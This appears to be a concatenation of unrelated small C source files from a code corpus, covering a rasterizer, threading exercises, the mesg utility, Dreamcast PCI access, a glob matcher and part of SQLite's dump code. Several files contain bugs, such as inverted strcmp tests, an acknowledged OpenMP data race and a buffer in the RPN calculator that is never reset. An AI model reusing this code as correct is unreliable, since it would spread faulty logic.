(c->texcoord.x - a->texcoord.x) / (c->position.y - a->position.y) + a->texcoord.x; v2 = (b->position.y - a->position.y) * (c->texcoord.y - a->texcoord.y) / (c->position.y - a->position.y) + a->texcoord.y; dudx = (u2 - b->texcoord.x) / (x2 - b->position.x); dvdx = (v2 - b->texcoord.y) / (x2 - b->position.x); _rasterize_horiz_line__unordered(x2, b->position.x, b->position.y, u2, v2, b->texcoord.x, b->texcoord.y, dudx, dvdx); for (y = b->position.y + 1; y < c->position.y; y++) { x1 = (y - b->position.y) * (c->position.x - b->position.x) / (c->position.y - b->position.y) + b->position.x; x2 = (y - a->position.y) * (c->position.x - a->position.x) / (c->position.y - a->position.y) + a->position.x; u1 = (y - b->position.y) * (c->texcoord.x - b->texcoord.x) / (c->position.y - b->position.y) + b->texcoord.x; u2 = (y - a->position.y) * (c->texcoord.x - a->texcoord.x) / (c->position.y - a->position.y) + a->texcoord.x; v1 = (y - b->position.y) * (c->texcoord.y - b->texcoord.y) / (c->position.y - b->position.y) + b->texcoord.y; v2 = (y - a->position.y) * (c->texcoord.y - a->texcoord.y) / (c->position.y - a->position.y) + a->texcoord.y; dudx = (u2 - u1) / (x2 - x1); dvdx = (v2 - v1) / (x2 - x1); _rasterize_horiz_line__unordered(x1, x2, y, u1, v1, u2, v2, dudx, dvdx); } } // // Clipping and 3D transformations. // static void _clip_on_plain(polygon4f *dst, const polygon4f *src, vec4f *base, vec4f *normal) { const vertex4f *i, *j; vec4f tmp, tmp2; vec2f texcoord_diff; float mul_beg, mul_end, scale; dst->points_cnt = 0; for (i = src->points, j = src->points + 1; j < src->points + src->points_cnt; i++, j++) { vec4f_subtract(&tmp, &i->position, base); mul_beg = vec4f_dot(&tmp, normal); vec4f_subtract(&tmp, &j->position, base); mul_end = vec4f_dot(&tmp, normal); if (mul_beg >= 0) { dst->points[dst->points_cnt++] = *i; } if (mul_beg > 0 && mul_end < 0 || mul_end >= 0 && mul_beg < 0) { //scale = ( (base - *i) * normal) / ( (*j - *i) * normal); vec4f_subtract(&tmp, base, &i->position); vec4f_subtract(&tmp2, &j->position, &i->position); scale = vec4f_dot(&tmp, normal) / vec4f_dot(&tmp2, normal); //inter.position = *i + (*j - *i) * scale; vec4f_mul(&tmp2, scale); vec4f_add(&dst->points[dst->points_cnt].position, &i->position, &tmp2); //inter.texcoord = i->texcoord + (j->texcoord - i->texcoord) * scale; vec2f_subtract(&texcoord_diff, &j->texcoord, &i->texcoord); vec2f_mul(&texcoord_diff, scale); vec2f_add(&dst->points[dst->points_cnt].texcoord, &i->texcoord, &texcoord_diff); dst->points_cnt++; } } dst->points[dst->points_cnt++] = dst->points[0]; } static int _clip_poligon(polygon4f *poly) { polygon4f tmp; _clip_on_plain(&tmp, poly, &_clip_z_far_base, &_clip_z_far_norm); _clip_on_plain(poly, &tmp, &_clip_z_near_base, &_clip_z_near_norm); _clip_on_plain(&tmp, poly, &_clip_plane_left_base, &_clip_plane_left_norm); _clip_on_plain(poly, &tmp, &_clip_plane_right_base, &_clip_plane_right_norm); _clip_on_plain(&tmp, poly, &_clip_plane_top_base, &_clip_plane_top_norm); _clip_on_plain(poly, &tmp, &_clip_plane_bottom_base,&_clip_plane_bottom_norm); return (poly->points_cnt > 1); } static void _transform_to_screen_space(vec2i *dst, vec4f *vec) { vec4f viewport_coord; float rsp; matrix4f_transform(&viewport_coord, vec, &_viewport_matrix); rsp = 1.0f / viewport_coord.w; dst->x = (int) (viewport_coord.x * rsp); dst->y = (int) (viewport_coord.y * rsp); if (dst->x < 0 || dst->x >= _width || dst->y < 0 || dst->y >= _height) { *(int *)0 = 0; } } static void _rasterize_polygon_4f(polygon4f *poly) { polygon2i screen_poly; int i; if (!_clip_poligon(poly)) { return; } if (poly->points_cnt > sizeof(poly->points) / sizeof(poly->points[0])) { *(int*)0 = 0; } for (i = 0; i < poly->points_cnt; i++) { _transform_to_screen_space(&screen_poly.points[i].position, &poly->points[i].position); screen_poly.points[i].texcoord = poly->points[i].texcoord; } for (i = 2; i < poly->points_cnt - 1; i++) { _rasterize_triangle_2i(&screen_poly.points[0], &screen_poly.points[i - 1], &screen_poly.points[i]); } } static void _transform_to_projection_space(vec4f *dst, const vec3f *src) { vec4f vertex; vec4f_assign(&vertex, src->x, src->y, src->z, 1.0f); matrix4f_transform(dst, &vertex, &_mvproj_matrix); } void rasterizer_triangle3f(const vec3f *a, const vec3f *b, const vec3f *c, const vec2f *a_tex, const vec2f *b_tex, const vec2f *c_tex) { polygon4f poly; _transform_to_projection_space(&poly.points[0].position, a); poly.points[0].texcoord = *a_tex; _transform_to_projection_space(&poly.points[1].position, b); poly.points[1].texcoord = *b_tex; _transform_to_projection_space(&poly.points[2].position, c); poly.points[2].texcoord = *c_tex; poly.points[3] = poly.points[0]; poly.points_cnt = 4; _rasterize_polygon_4f(&poly); }
the_stack_data/103265035.c
#include<pthread.h> #include<stdio.h> #include<stdbool.h> #define SIZE 3 bool matrix_sub(void *ptr); void matrix_disp(int mat[][SIZE]); int matrix1[SIZE][SIZE] = { {1,2,3},{4,5,6},{7,8,9}}; int matrix2[SIZE][SIZE] = { {1,1,1},{2,2,2},{3,3,3}}; int matrix3[SIZE][SIZE] = { {0,0,0},{0,0,0},{0,0,0}}; pthread_t thread1,thread2; int main(){ int err1,err2; const char *mesg1="isEven"; const char *mesg2="isOdd"; err1 = pthread_create(&thread1,NULL,matrix_sub,mesg1); if(err1!=0){ exit(1); } else{ printf("\nThread #1 created successfully"); } err2 = pthread_create(&thread2,NULL,matrix_sub,mesg2); if(err2!=0){ exit(1); } else{ printf("\nThread #2 created successfully"); } printf("\nWaiting for threads to complete their work"); sleep(2); printf("\nResult:"); matrix_disp(matrix3); printf("\n\n"); return 0; } bool matrix_sub(void *ptr){ char *my_work; my_work = (char *) ptr; // printf("\n%s",flag); int i,j; if(strcmp(my_work,"isEven")){ printf("\nThread #1 : Subtracting even rows"); for(i=0;i<SIZE;i=i+2) for(j=0;j<SIZE;j++) matrix3[i][j]=matrix1[i][j]-matrix2[i][j]; } else if(strcmp(my_work,"isOdd")){ printf("\nThread #1 : Subtracting odd rows"); for(i=1;i<SIZE;i=i+2) for(j=0;j<SIZE;j++) matrix3[i][j]=matrix1[i][j]-matrix2[i][j]; } return true; } void matrix_disp(int m[SIZE][SIZE]){ int i=0; int j=0; for(i=0;i<SIZE;i++){ printf("\n\t"); for(j=0;j<SIZE;j++){ printf(" %d ",m[i][j]); } } }
the_stack_data/247017391.c
/* * Example source code * * prints N numbers from Fibonacci sequence */ void main(void) { int i; int N; int a; int b; int tmp; i = 0; a = 0; b = 1; tmp = 0; N = 20; // how many numbers to print? output(0); // always print the first number while (i < N) { output(a + b); tmp = b; b = a + tmp; a = tmp; i = i + 1; } }
the_stack_data/136717.c
#include <stdio.h> #include <stdlib.h> #include <string.h> #define BUFFER_SIZE 64 void copy_file_with_comments(char source[], char destination[]); void copy_file_without_comments(char source[], char destination[]); int main() { char source[BUFFER_SIZE]; printf("Source filename: "); fgets(source, BUFFER_SIZE, stdin); // Remove the newline from the end of char[] by setting it to empty; '' source[strlen(source)-1] = '\0'; copy_file_with_comments(source, "with_comments.c"); copy_file_without_comments(source, "without_comments.c"); } void copy_file_with_comments(char source[], char destination[]) { char character; remove(destination); FILE *old_file = fopen(source, "r"); FILE *new_file = fopen(destination, "w+"); while((character = fgetc(old_file)) != EOF) fputc(character, new_file); fclose(old_file); fclose(new_file); } void copy_file_without_comments(char source[], char destination[]) { char character; remove(destination); FILE *old_file = fopen(source, "r"); FILE *new_file = fopen(destination, "w+"); enum BOOLEAN {false, true}; enum BOOLEAN is_comment = false; while((character = fgetc(old_file)) != EOF) { switch(is_comment) { case false: if(character == '/') is_comment = true; else fputc(character, new_file); break; case true: if(character == '/') is_comment = false; break; } } fclose(old_file); fclose(new_file); }
the_stack_data/111051.c
// cc -fPIC -c foo.c -o foo.o #include <stdio.h> extern int a; void foo() { printf("[foo.c] a %d\n", a); } void sort(int *array, size_t size) { for (size_t i = 0; i < size - 1; ++i) for (size_t j = 0; j < size - i - 1; ++j) if (array[j] > array[j + 1]) { int tmp = array[j]; array[j] = array[j + 1]; array[j + 1] = tmp; } } __attribute__((constructor)) void ctor(void) { foo(); puts("[foo.c] CTOR"); } __attribute__((destructor)) void dtor(void) { foo(); puts("[foo.c] DTOR"); }
the_stack_data/234518604.c
#include<stdio.h> int MaxSubseqSum1(int A[],int N); int MaxSubseqSum2(int A[],int N); int MaxSubseqSum3(int A[],int N); int MaxSubseqSum4(int A[],int N); int Max3(int A,int B,int C); int DivideAndConquer(int List[],int left,int right); int MaxSubseqSum1(int A[],int N) { int ThisSum,MaxSum = 0; int i, j, k; for(i=0;i<N;i++) { ThisSum = 0; for(j=i;j<N;j++) { ThisSum += A[j]; if(ThisSum>MaxSum) { MaxSum = ThisSum; } } } return MaxSum; } int Max3(int A,int B,int C) { return A > B ? A > C ? A:C:B > C ? B:C; } int DivideAndConquer(int List[],int left,int right) { int MaxLeftSum,MaxRightSum; int MaxLeftBorderSum,MaxRightBorderSum; int LeftBorderSum,RightBorderSum; int center,i; if(left == right) { if(List[left]>0) return List[left]; else return 0; } center = (left + right) / 2; printf("center %d\n",center); MaxLeftSum = DivideAndConquer(List,left,center); // printf("list 1 %d\n",*List); printf("MaxLeftSum %d\n",MaxLeftSum); MaxRightSum = DivideAndConquer(List,center+1,right); // printf("list 2 %d\n",*List); printf("MaxRightSum %d\n",MaxRightSum); MaxLeftBorderSum = 0; LeftBorderSum = 0; for(i=center;i>=left;i--) { LeftBorderSum += List[i]; if(LeftBorderSum > MaxLeftBorderSum) MaxLeftBorderSum = LeftBorderSum; } printf("MaxLeftBorderSum %d\n",MaxLeftBorderSum); MaxRightBorderSum = 0; RightBorderSum = 0; for(i=center+1;i<=right;i++) { RightBorderSum += List[i]; if(RightBorderSum > MaxRightBorderSum) MaxRightBorderSum = RightBorderSum; } printf("MaxRightBorderSum %d\n",MaxRightBorderSum); return Max3(MaxLeftSum,MaxRightSum,MaxLeftBorderSum+MaxRightBorderSum); } int MaxSubseqSum3(int A[],int N) { return DivideAndConquer(A,0,N-1); } int main() { // int A[5];int N; int compare_list[4] = {1,2,3,4}; int N = 4; int MaxSum1,MaxSum2,MaxSum3; int max_num; // int A,B,C; MaxSum1 = MaxSubseqSum1(compare_list,N); MaxSum2 = MaxSubseqSum3(compare_list,N); // A = 2;B = 3;C = 5; // max_num = Max3(A,B,C); // printf("max_num %d",max_num); printf("maxsum1 %d\n",MaxSum1); printf("maxsum2 %d\n",MaxSum2); return 0; }
the_stack_data/20062.c
#include <stdio.h> #include <stdlib.h> /* for atof() */ #include <ctype.h> #define MAXOP 100 /* max size of operand or operator */ #define NUMBER '0' /* signal that a number was found */ #define MAXVAL 100 /* maximum depth of val stack */ #define BUFSIZE 100 void push(double); double pop(void); int getop(char []); int getch(void); void ungetch(int); int sp = 0; /* next free stack position */ double val[MAXVAL]; /* value stack */ char buf; /* buffer for ungetch */ int bufp = 0; /* next free position in buf */ /* reverse Polish calculator */ main() { int type; double op2; char s[MAXOP]; while ((type = getop(s)) != EOF) { switch (type) { case NUMBER: push(atof(s)); break; case '+': push(pop() + pop()); break; case '*': push(pop() * pop()); break; case '-': op2 = pop(); push(pop() - op2); break; case '/': op2 = pop(); if (op2 != 0.0) push(pop() / op2); else printf("error: zero divisor\n"); break; case '\n': printf("\t%.8g\n", pop()); break; default: printf("error: unknown command %s\n", s); break; } if(buf) break; } return 0; } /* push: push f onto value stack */ void push(double f) { if (sp < MAXVAL) val[sp++] = f; else printf("error: stack full, can't push %g\n", f); } /* pop: pop and return top value from stack */ double pop(void) { if (sp > 0) return val[--sp]; else { printf("error: stack empty\n"); return 0.0; } } /* getop: get next character or numeric operand */ int getop(char s[]) { int i, c; while ((s[0] = c = getch()) == ' ' || c == '\t'); s[1] = '\0'; if (!isdigit(c) && c != '.') return c; /* not a number */ i = 0; if (isdigit(c)) /* collect integer part */ while (isdigit(s[++i] = c = getch())); if (c == '.') /* collect fraction part */ while (isdigit(s[++i] = c = getch())); s[i] = '\0'; if (c != EOF) ungetch(c); return NUMBER; } int getch(void) {/* get a (possibly pushed-back) character */ return (buf) ? buf : getchar(); } void ungetch(int c) {/* push character back on input */ if (buf) printf("ungetch: too many characters\n"); else buf = c; }
the_stack_data/125139232.c
/* * mesg.c The "mesg" utility. Gives / restrict access to * your terminal by others. * * Usage: mesg [y|n]. * Without arguments prints out the current settings. * * This file is part of the sysvinit suite, * Copyright 1991-2001 Miquel van Smoorenburg. * * This program is free software; you can redistribute it and/or * modify it under the terms of the GNU General Public License * as published by the Free Software Foundation; either version * 2 of the License, or (at your option) any later version. */ #include <sys/types.h> #include <sys/stat.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <errno.h> #include <unistd.h> #include <grp.h> char *Version = "@(#) mesg 2.81 31-Jul-2001 [email protected]"; #define TTYGRP "tty" /* * See if the system has a special 'tty' group. * If it does, and the tty device is in that group, * we set the modes to -rw--w--- instead if -rw--w--w. */ int hasttygrp(void) { struct group *grp; if ((grp = getgrnam(TTYGRP)) != NULL) return 1; return 0; } /* * See if the tty devices group is indeed 'tty' */ int tty_in_ttygrp(struct stat *st) { struct group *gr; if ((gr = getgrgid(st->st_gid)) == NULL) return 0; if (strcmp(gr->gr_name, TTYGRP) != 0) return 0; return 1; } int main(int argc, char **argv) { struct stat st; unsigned int ttymode, st_mode_old; int ht; int it; int e; if (!isatty(0)) { /* Or should we look in /var/run/utmp? */ fprintf(stderr, "stdin: is not a tty\n"); return(1); } if (fstat(0, &st) < 0) { perror("fstat"); return(1); } ht = hasttygrp(); it = tty_in_ttygrp(&st); if (argc < 2) { ttymode = (ht && it) ? 020 : 002; printf("is %s\n", (st.st_mode & ttymode) ? "y" : "n"); return 0; } if (argc > 2 || (argv[1][0] != 'y' && argv[1][0] != 'n')) { fprintf(stderr, "Usage: mesg [y|n]\n"); return 1; } /* * Security check: allow mesg n when group is * weird, but don't allow mesg y. */ ttymode = ht ? 020 : 022; if (ht && !it && argv[1][0] == 'y') { fprintf(stderr, "mesg: error: tty device is not owned " "by group `%s'\n", TTYGRP); exit(1); } st_mode_old = st.st_mode; if (argv[1][0] == 'y') st.st_mode |= ttymode; else st.st_mode &= ~(ttymode); if (st_mode_old != st.st_mode && fchmod(0, st.st_mode) != 0) { e = errno; fprintf(stderr, "mesg: %s: %s\n", ttyname(0), strerror(e)); exit(1); } return 0; }
the_stack_data/780967.c
static __inline int getimask(void) { register unsigned int sr; __asm__("stc sr,%0" : "=r" (sr)); return (sr >> 4) & 0x0f; } static __inline void setimask(int m) { register unsigned int sr; __asm__("stc sr,%0" : "=r" (sr)); sr = (sr & ~0xf0) | (m << 4); __asm__("ldc %0,sr" : : "r" (sr)); } #define G2_LOCK() \ int _s = getimask(); \ setimask(15); \ while((*(volatile unsigned int *)0xa05f688c) & 32) #define G2_UNLOCK() \ setimask(_s) int pci_setup() { int i; G2_LOCK(); for(i=0; i<16; i++) if(*(volatile char *)(void *)(0xa1001400+i) != "GAPSPCI_BRIDGE_2"[i]) { G2_UNLOCK(); return -1; } *(volatile unsigned int *)(void *)(0xa1001418) = 0x5a14a501; for(i=0; i<1000000; i++) ; if(*(volatile unsigned int *)(void *)(0xa1001418) != 1) { G2_UNLOCK(); return -1; } *(volatile unsigned int *)(void *)(0xa1001420) = 0x1000000; *(volatile unsigned int *)(void *)(0xa1001424) = 0x1000000; *(volatile unsigned int *)(void *)(0xa1001428) = 0x1840000; *(volatile unsigned int *)(void *)(0xa1001414) = 1; *(volatile unsigned int *)(void *)(0xa1001434) = 1; *(volatile unsigned short *)(void *)(0xa1001606) = 0xf900; *(volatile unsigned int *)(void *)(0xa1001630) = 0; *(volatile unsigned char *)(void *)(0xa100163c) = 0; *(volatile unsigned char *)(void *)(0xa100160d) = 0xf0; *(volatile unsigned short *)(void *)(0xa1001604) |= 6; *(volatile unsigned int *)(void *)(0xa1001614) = 0x1000000; if((*(volatile unsigned char *)(void *)(0xa1001650))&1) { G2_UNLOCK(); return -1; } G2_UNLOCK(); return 0; } int gapspci_probe_bba() { return pci_setup()>=0; } unsigned int pci_read32(int reg) { unsigned int ret; G2_LOCK(); ret = *(volatile unsigned int*)(void *)(0xa1001700+reg); G2_UNLOCK(); return ret; } unsigned short pci_read16(int reg) { unsigned short ret; G2_LOCK(); ret = *(volatile unsigned short*)(void *)(0xa1001700+reg); G2_UNLOCK(); return ret; } unsigned char pci_read8(int reg) { unsigned char ret; G2_LOCK(); ret = *(volatile unsigned char*)(void *)(0xa1001700+reg); G2_UNLOCK(); return ret; } void pci_write32(int reg, unsigned int val) { G2_LOCK(); *(volatile unsigned int*)(void *)(0xa1001700+reg) = val; G2_UNLOCK(); } void pci_write16(int reg, unsigned short val) { G2_LOCK(); *(volatile unsigned short*)(void *)(0xa1001700+reg) = val; G2_UNLOCK(); } void pci_write8(int reg, unsigned char val) { G2_LOCK(); *(volatile unsigned char*)(void *)(0xa1001700+reg) = val; G2_UNLOCK(); }
the_stack_data/708663.c
#include <stdio.h> #include <stdlib.h> struct node { int info; struct node *ptr; }*front,*rear,*temp,*temp; int frontelement(); void enq(int data); void deq(); void empty(); void display(); void create(); void queuesize(); int count = 0; void main() { int no, ch, e; printf("\n 1 - Enque"); printf("\n 2 - Deque"); printf("\n 3 - Front element"); printf("\n 4 - Empty"); printf("\n 5 - Exit"); printf("\n 6 - Display"); printf("\n 7 - Queue size"); create(); while (1) { printf("\n Enter choice : "); scanf("%d", &ch); switch (ch) { case 1: printf("Enter data : "); scanf("%d", &no); enq(no); break; case 2: deq(); break; case 3: e = frontelement(); if (e != 0) printf("Front element : %d", e); else printf("\n No front element in Queue as queue is empty"); break; case 4: empty(); break; case 5: exit(0); case 6: display(); break; case 7: queuesize(); break; default: printf("Wrong choice, Please enter correct choice "); break; } } } void create() { front = rear = NULL; } void queuesize() { printf("\n Queue size : %d", count); } void enq(int data) { if (rear == NULL) { rear = (struct node *)malloc(1*sizeof(struct node)); rear->ptr = NULL; rear->info = data; front = rear; } else { temp=(struct node *)malloc(1*sizeof(struct node)); rear->ptr = temp; temp->info = data; temp->ptr = NULL; rear = temp; } count++; } void display() { temp = front; if ((temp == NULL) && (rear == NULL)) { printf("Queue is empty"); return; } while (temp != rear) { printf("%d ", temp->info); temp = temp->ptr; } if (temp == rear) printf("%d", temp->info); } void deq() { temp = front; if (temp == NULL) { printf("\n Error: Trying to display elements from empty queue"); return; } else if (temp->ptr != NULL) { temp = temp->ptr; printf("\n Dequed value : %d", front->info); free(front); front = temp; } else { printf("\n Dequed value : %d", front->info); free(front); front = NULL; rear = NULL; } count--; } int frontelement() { if ((front != NULL) && (rear != NULL)) return(front->info); else return 0; } void empty() { if ((front == NULL) && (rear == NULL)) printf("\n Queue empty"); else printf("Queue not empty"); }
the_stack_data/22013960.c
/* * pnmatch(string, pattern, unanchored) * returns 1 if pattern matches in string. * pattern: * [c1c2...cn-cm] class of characters. * ? any character. * * any # of any character. * ^ beginning of string (if unanchored) * $ end of string (if unanchored) * unanch: * 0 normal (anchored) pattern. * 1 unanchored (^$ also metacharacters) * >1 end unanchored. * >1 is used internally but should not be used by the user. */ pnmatch(s, p, unanch) register char *s, *p; { register c1; int c2; if (unanch == 1) { while (*s) if (pnmatch(s++, p, ++unanch)) return (1); return (0); } while (c2 = *p++) { c1 = *s++; switch(c2) { case '^': if (unanch == 2) { s--; continue; } else if (unanch == 0) break; else return (0); case '$': if (unanch) return (c1 == '\0'); break; case '[': for (;;) { c2 = *p++; if (c2=='\0' || c2==']') return (0); if (c2 == '\\' && *p == '-') c2 = *p++; if (c2 == c1) break; if (*p == '-') if (c1<=*++p && c1>=c2) break; } while (*p && *p++!=']') ; case '?': if (c1) continue; return(0); case '*': if (!*p) return(1); s--; do { if (pnmatch(s, p, unanch)) return (1); } while(*s++ != '\0'); return(0); case '\\': if ((c2 = *p++) == '\0') return (0); } if (c1 != c2) return (0); } return(unanch ? 1 : !*s); }
the_stack_data/548431.c
/* Samuele Allegranza @ Polimi Fondamenti di informatica - Esercitazione > Esercizio: Si scriva un sottoprogramma che ricevuti in ingresso 3 valori interi positivi corrispondenti ai valori di ore, minuti e secondi ritorni al chiamante il numero totale di millisecondi trascorsi da inizio giornata corrispondente all'orario specificato. */ #include <stdio.h> #define SEC_IN_MIN 60 #define SEC_IN_HOUR 3600 #define MS_IN_SEC 1000 int to_ms(int, int, int); int main(int argc, char * argv[]) { printf("%d\n", to_ms(12, 0, 0)); return 0; } int to_ms(int h, int m, int s) { return ((s)+(m*SEC_IN_MIN)+(h*SEC_IN_HOUR))*MS_IN_SEC; }
the_stack_data/7950717.c
/* * integrate.c: Example of numerical integration in OpenMP. * * (C) 2015 Mikhail Kurnosov <[email protected]> */ #include <stdio.h> #include <math.h> #include <sys/time.h> #include <omp.h> const double PI = 3.14159265358979323846; const double a = -4.0; const double b = 4.0; const int nsteps = 40000000; double wtime() { struct timeval t; gettimeofday(&t, NULL); return (double)t.tv_sec + (double)t.tv_usec * 1E-6; } double func(double x) { return exp(-x * x); } /* integrate: Integrates by rectangle method (midpoint rule) */ double integrate(double (*func)(double), double a, double b, int n) { double h = (b - a) / n; double sum = 0.0; for (int i = 0; i < n; i++) sum += func(a + h * (i + 0.5)); sum *= h; return sum; } double run_serial() { double t = wtime(); double res = integrate(func, a, b, nsteps); t = wtime() - t; printf("Result (serial): %.12f; error %.12f\n", res, fabs(res - sqrt(PI))); return t; } double integrate_omp(double (*func)(double), double a, double b, int n) { /* TODO - make it parallel */ double h = (b - a) / n; double sum = 0.0; #pragma omp parallel { int nthreads = omp_get_num_threads(); int threadid = omp_get_thread_num(); int items_per_thread = n / nthreads; int lb = threadid * items_per_thread; int ub = (threadid == nthreads - 1) ? (n - 1) : (lb + items_per_thread - 1); for (int i = lb; i <= ub; i++) sum += func(a + h * (i + 0.5)); /* data race */ } sum *= h; return sum; } double run_parallel() { double t = wtime(); double res = integrate_omp(func, a, b, nsteps); t = wtime() - t; printf("Result (parallel): %.12f; error %.12f\n", res, fabs(res - sqrt(PI))); return t; } int main(int argc, char **argv) { printf("Integration f(x) on [%.12f, %.12f], nsteps = %d\n", a, b, nsteps); double tserial = run_serial(); double tparallel = run_parallel(); printf("Execution time (serial): %.6f\n", tserial); printf("Execution time (parallel): %.6f\n", tparallel); printf("Speedup: %.2f\n", tserial / tparallel); return 0; }
the_stack_data/466302.c
#include <unistd.h> int chroot(const char *path) { return 0; } /* XOPEN(400,600) */
the_stack_data/151705025.c
/* { dg-options "isa_rev>=6" } */ /* { dg-skip-if "code quality test" { *-*-* } { "-mcompact-branches=never" } { "" } } */ /* { dg-final { scan-assembler-not "nop" } } */ int testg2 (int a, int c) { int j = 0; do { j += a; } while (j < 56); j += c; return j; }
the_stack_data/870413.c
/* * This program finds the maximum product of all sub-parts that can * be obtained by cutting a rod into sub-parts. At least one cut is * needed to cut the rod into sub-parts. For example, a rod of length * 5 can be cut into sub-parts of (2,3), (1,4), (1,1,1,1,1) etc.. but * the maximum product that can be obtained from the sub-parts is 6 (2,3). * For more information on this problem, please refer to the following * link:- * http://www.geeksforgeeks.org/dynamic-programming-set-36-cut-a-rope-to-maximize-product/ * TODO:CODE * TODO:DOC * TODO:TESTS */ #include<stdio.h> #include<assert.h> #include<stdlib.h> int get_max_product_cuttng_a_rod_v1 (int length) { int sub_len, max_product, temp_product; if (length <= 0) { return(0); } if (length == 1) { return(1); } max_product = 0; for (sub_len = 1; sub_len < length; ++sub_len) { temp_product = get_max_product_cuttng_a_rod_v1(sub_len) * get_max_product_cuttng_a_rod_v1(length - sub_len); if (temp_product > max_product) { max_product = temp_product; } } return(max_product); } int main () { assert(0 == get_max_product_cuttng_a_rod_v1(0)); assert(1 == get_max_product_cuttng_a_rod_v1(1)); assert(1 == get_max_product_cuttng_a_rod_v1(2)); assert(2 == get_max_product_cuttng_a_rod_v1(3)); assert(2 == get_max_product_cuttng_a_rod_v1(3)); return(0); }
the_stack_data/22011578.c
/* ** 2016-03-13 ** ** The author disclaims copyright to this source code. In place of ** a legal notice, here is a blessing: ** ** May you do good and not evil. ** May you find forgiveness for yourself and forgive others. ** May you share freely, never taking more than you give. ** ****************************************************************************** ** ** This file implements a C-language subroutine that converts the content ** of an SQLite database into UTF-8 text SQL statements that can be used ** to exactly recreate the original database. ROWID values are preserved. ** ** A prototype of the implemented subroutine is this: ** ** int sqlite3_db_dump( ** sqlite3 *db, ** const char *zSchema, ** const char *zTable, ** void (*xCallback)(void*, const char*), ** void *pArg ** ); ** ** The db parameter is the database connection. zSchema is the schema within ** that database which is to be dumped. Usually the zSchema is "main" but ** can also be "temp" or any ATTACH-ed database. If zTable is not NULL, then ** only the content of that one table is dumped. If zTable is NULL, then all ** tables are dumped. ** ** The generate text is passed to xCallback() in multiple calls. The second ** argument to xCallback() is a copy of the pArg parameter. The first ** argument is some of the output text that this routine generates. The ** signature to xCallback() is designed to make it compatible with fputs(). ** ** The sqlite3_db_dump() subroutine returns SQLITE_OK on success or some error ** code if it encounters a problem. ** ** If this file is compiled with -DDBDUMP_STANDALONE then a "main()" routine ** is included so that this routine becomes a command-line utility. The ** command-line utility takes two or three arguments which are the name ** of the database file, the schema, and optionally the table, forming the ** first three arguments of a single call to the library routine. */ #include "sqlite3.h" #include <stdarg.h> #include <string.h> #include <ctype.h> /* ** The state of the dump process. */ typedef struct DState DState; struct DState { sqlite3 *db; /* The database connection */ int nErr; /* Number of errors seen so far */ int rc; /* Error code */ int writableSchema; /* True if in writable_schema mode */ int (*xCallback)(const char*,void*); /* Send output here */ void *pArg; /* Argument to xCallback() */ }; /* ** A variable length string to which one can append text. */ typedef struct DText DText; struct DText { char *z; /* The text */ int n; /* Number of bytes of content in z[] */ int nAlloc; /* Number of bytes allocated to z[] */ }; /* ** Initialize and destroy a DText object */ static void initText(DText *p){ memset(p, 0, sizeof(*p)); } static void freeText(DText *p){ sqlite3_free(p->z); initText(p); } /* zIn is either a pointer to a NULL-terminated string in memory obtained ** from malloc(), or a NULL pointer. The string pointed to by zAppend is ** added to zIn, and the result returned in memory obtained from malloc(). ** zIn, if it was not NULL, is freed. ** ** If the third argument, quote, is not '\0', then it is used as a ** quote character for zAppend. */ static void appendText(DText *p, char const *zAppend, char quote){ int len; int i; int nAppend = (int)(strlen(zAppend) & 0x3fffffff); len = nAppend+p->n+1; if( quote ){ len += 2; for(i=0; i<nAppend; i++){ if( zAppend[i]==quote ) len++; } } if( p->n+len>=p->nAlloc ){ char *zNew; p->nAlloc = p->nAlloc*2 + len + 20; zNew = sqlite3_realloc(p->z, p->nAlloc); if( zNew==0 ){ freeText(p); return; } p->z = zNew; } if( quote ){ char *zCsr = p->z+p->n; *zCsr++ = quote; for(i=0; i<nAppend; i++){ *zCsr++ = zAppend[i]; if( zAppend[i]==quote ) *zCsr++ = quote; } *zCsr++ = quote; p->n = (int)(zCsr - p->z); *zCsr = '\0'; }else{ memcpy(p->z+p->n, zAppend, nAppend); p->n += nAppend; p->z[p->n] = '\0'; } } /* ** Attempt to determine if identifier zName needs to be quoted, either ** because it contains non-alphanumeric characters, or because it is an ** SQLite keyword. Be conservative in this estimate: When in doubt assume ** that quoting is required. ** ** Return '"' if quoting is required. Return 0 if no quoting is required. */ static char quoteChar(const char *zName){ /* All SQLite keywords, in alphabetical order */ static const char *azKeywords[] = { "ABORT", "ACTION", "ADD", "AFTER", "ALL", "ALTER", "ANALYZE", "AND", "AS", "ASC", "ATTACH", "AUTOINCREMENT", "BEFORE", "BEGIN", "BETWEEN", "BY", "CASCADE", "CASE", "CAST", "CHECK", "COLLATE", "COLUMN", "COMMIT", "CONFLICT", "CONSTRAINT", "CREATE", "CROSS", "CURRENT_DATE", "CURRENT_TIME", "CURRENT_TIMESTAMP", "DATABASE", "DEFAULT", "DEFERRABLE", "DEFERRED", "DELETE", "DESC", "DETACH", "DISTINCT", "DROP", "EACH", "ELSE", "END", "ESCAPE", "EXCEPT", "EXCLUSIVE", "EXISTS", "EXPLAIN", "FAIL", "FOR", "FOREIGN", "FROM", "FULL", "GLOB", "GROUP", "HAVING", "IF", "IGNORE", "IMMEDIATE", "IN", "INDEX", "INDEXED", "INITIALLY", "INNER", "INSERT", "INSTEAD", "INTERSECT", "INTO", "IS", "ISNULL", "JOIN", "KEY", "LEFT", "LIKE", "LIMIT", "MATCH", "NATURAL", "NO", "NOT", "NOTNULL", "NULL", "OF", "OFFSET", "ON", "OR", "ORDER", "OUTER", "PLAN", "PRAGMA", "PRIMARY", "QUERY", "RAISE", "RECURSIVE", "REFERENCES", "REGEXP", "REINDEX", "RELEASE", "RENAME", "REPLACE", "RESTRICT", "RIGHT", "ROLLBACK", "ROW", "SAVEPOINT", "SELECT", "SET", "TABLE", "TEMP", "TEMPORARY", "THEN", "TO", "TRANSACTION", "TRIGGER", "UNION", "UNIQUE", "UPDATE", "USING", "VACUUM", "VALUES", "VIEW", "VIRTUAL", "WHEN", "WHERE", "WITH", "WITHOUT", }; int i, lwr, upr, mid, c; if( !isalpha((unsigned char)zName[0]) && zName[0]!='_' ) return '"'; for(i=0; zName[i]; i++){ if( !isalnum((unsigned char)zName[i]) && zName[i]!='_' ) return '"'; } lwr = 0; upr = sizeof(azKeywords)/sizeof(azKeywords[0]) - 1; while( lwr<=upr ){ mid = (lwr+upr)/2; c = sqlite3_stricmp(azKeywords[mid], zName); if( c==0 ) return '"'; if( c<0 ){ lwr = mid+1; }else{ upr = mid-1; } } return 0; } /* ** Release memory previously allocated by tableColumnList(). */ static void freeColumnList(char **azCol){ int i; for(i=1; azCol[i]; i++){ sqlite3_free(azCol[i]); } /* azCol[0] is a static string */ 